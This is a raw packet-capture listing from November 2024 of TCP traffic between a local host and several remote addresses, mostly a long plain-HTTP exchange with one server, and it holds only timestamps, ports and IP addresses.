Nov 25, 2024 03:39:50.478553057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.479289055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.479336977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.479398966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.479449987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.480155945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.480256081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.480302095 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.480355024 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.481040001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.481100082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.481142044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.481179953 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.481955051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.482029915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.482068062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.482830048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.482918978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.483058929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.483130932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.483690023 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.483766079 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.483798981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.483835936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.484563112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.484622002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.484666109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.484702110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.485441923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.485488892 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.485547066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.485603094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.486314058 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.486365080 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.486403942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.486504078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.487216949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.487268925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.487320900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.487360001 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.488074064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.488126993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.488142014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.488203049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.488957882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.489006996 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.489048004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.489089012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.489833117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.489871025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.489938974 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.489988089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.490771055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.490813971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.490884066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.490920067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.491600990 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.491652012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.491724014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.491782904 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.492481947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.492573023 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.492595911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.492636919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.493364096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.493412971 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.493452072 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.493483067 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.494237900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.494292021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.494326115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.494362116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.495131969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.495187998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.495232105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.495420933 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.496010065 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.496061087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.496103048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.496148109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.496871948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.496922016 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.496973991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.497016907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.497737885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.497786045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.497801065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.497823954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.498621941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.498667002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.498720884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.498760939 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.499507904 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.499553919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.499598026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.499638081 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.500395060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.500444889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.500482082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.500533104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.501270056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.501332998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.501367092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.501466990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.502152920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.502196074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.502255917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.502432108 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.503025055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.503077030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.503119946 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.503266096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.503911018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.503985882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.504005909 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.504043102 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.504801989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.504909992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.504959106 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.505681992 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.505738020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.505784035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.505821943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.506551027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.506617069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.506650925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.506695986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.507424116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.507477999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.507513046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.507549047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.508306026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.508342028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.508399963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.508433104 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.509179115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.509219885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.509242058 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.509275913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.510059118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.510107040 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.510165930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.510207891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.511010885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.511130095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.511135101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.511174917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.511810064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.511888981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.511926889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.511970043 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.512712955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.512816906 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.512840033 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.512866020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.513577938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.513621092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.513690948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.513797998 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.514457941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.514529943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.514563084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.514600039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.515347958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.515408039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.515439987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.515476942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.516216040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.516275883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.516315937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.516351938 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.517111063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.517148972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.517179966 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.517214060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.517985106 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.518038034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.649944067 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.650369883 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.650389910 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.651474953 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.651560068 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.652805090 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.652858019 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.653135061 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.653141975 CET	443	49800	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.655339003 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:50.655419111 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:50.682306051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.682396889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.682401896 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.682437897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.682693005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.682734966 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.682738066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.682773113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.683358908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.683418036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.683455944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.684237957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.684283972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.684315920 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.684323072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.685111046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.685187101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.685205936 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.685239077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.685962915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.686003923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.686064005 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.686099052 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.686865091 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.686947107 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.686990976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.687031984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.687761068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.687870026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.687880993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.687905073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.688615084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.688688993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.688735008 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.689492941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.689547062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.689615965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.689651012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.690439939 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.690491915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.690543890 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.690589905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.691464901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.691523075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.691559076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.691670895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.692125082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.692177057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.692229986 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.692269087 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.693023920 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.693083048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.693121910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.693157911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.693901062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.693955898 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.693994999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.694036961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.694994926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.695023060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.695054054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.695075035 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.695758104 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.695832014 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.695868015 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.695902109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.696563959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.696605921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.696635008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.696677923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.697407007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.697453022 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.697501898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.697544098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.698299885 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.698348045 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.698367119 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.698404074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.699203968 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.699253082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.699256897 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.699291945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.700042963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.700149059 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.700172901 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.700196028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.700917006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.700973988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.701013088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.701047897 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.701782942 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.701839924 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.701848984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.701900959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.702686071 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.702742100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.702761889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.702795982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.703588009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.703648090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.703682899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.703896046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.704437971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.704493999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.704516888 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.704535007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.704583883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.705068111 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.705087900 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.705321074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.705382109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.705421925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.705456972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.706157923 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.706197977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.706233978 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.706248999 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.706279039 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.706310987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.706623077 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.706707001 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.706839085 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.706849098 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:50.707098007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.707158089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.707195044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.707232952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.707950115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.708045006 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.708060026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.708096027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.708817959 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.708976030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.746844053 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.760370970 CET	49800	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:50.795277119 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:50.897958994 CET	443	49802	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:50.898051023 CET	443	49802	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:50.898104906 CET	49802	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:50.898685932 CET	49802	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:50.898705006 CET	443	49802	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:50.900099039 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:50.914685011 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:50.925270081 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:50.925340891 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:50.925343990 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:50.925375938 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:50.925395012 CET	443	49799	152.195.19.97	192.168.2.8
Nov 25, 2024 03:39:50.925395966 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:50.925438881 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:50.926182985 CET	49799	443	192.168.2.8	152.195.19.97
Nov 25, 2024 03:39:50.926201105 CET	443	49799	152.195.19.97	192.168.2.8
